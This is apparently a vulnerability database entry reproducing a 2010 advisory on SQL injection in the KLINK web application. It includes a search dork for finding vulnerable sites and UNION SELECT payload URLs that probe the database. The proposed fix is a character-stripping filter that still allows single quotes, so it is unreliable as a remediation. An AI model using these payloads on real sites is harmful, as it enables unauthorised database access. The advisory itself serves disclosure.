Lucene search
K

KLINK SQL Injection

🗓️ 01 Jan 2011 00:00:00Reported by Andres GomezType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 62 Views

KLINK SQL Injection vulnerability allows arbitrary SQL statement execution compromising database integrity and exposing sensitive info. Suggested solution includes using preg_replace on $_GET and $_POST

Code
`##########################[Andr�s G�mez]################################  
> # Exploit Title : KLINK Sql Injection Vulnerability  
> # Date : 2010-12-31  
> # Author : Andr�s G�mez  
> # Software Developed by : http://www.contacto.com<http://www.contacto.com.com/>  
> # Contact : [email protected]  
> # Dork : "allinurl:*.php?txtCodiInfo="  
> ########################################################################  
> # An attacker may execute arbitrary SQL statements on the vulnerable  
> system.  
> #This may compromise the integrity of your database and/or expose sensitive  
> information.  
> ########################################################################  
> # Example 1: http://site.tld/path/interna.php?txtCodiInfo='  
> # Example 2:  
> http://site.tld/path/interna.php?txtCodiInfo=2+and+1=0+union+select+1,2,3,4,5,6,7,8,9,10--  
> # Example 3:  
> http://site.tld/path/interna.php?txtCodiInfo=2+and+1=0+union+select+1,2,3,@@version,5,6,7,8,9,10--  
> ########################################################################  
> # Malicious users may inject SQL querys into a vulnerable  
> # application to fool a user in order to gather data from them or see  
> sensible information.  
> ########################################################################  
> # Solution:  
> # $_GET = preg_replace("|([^\w\s\'])|i",'',$_GET);  
> # $_POST = preg_replace("|([^\w\s\'])|i",'',$_POST);  
> # Add them to your template index.php after the first <?php decelaration.  
> ########################################################################  
> # Special Thanks : HYPERNETHOST & Mauro Rossi  
> ##########################[Andr�s G�mez]################################  
>  
>  
> --  
> *Andr�s G�mez*  
> -- Director --  
>  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation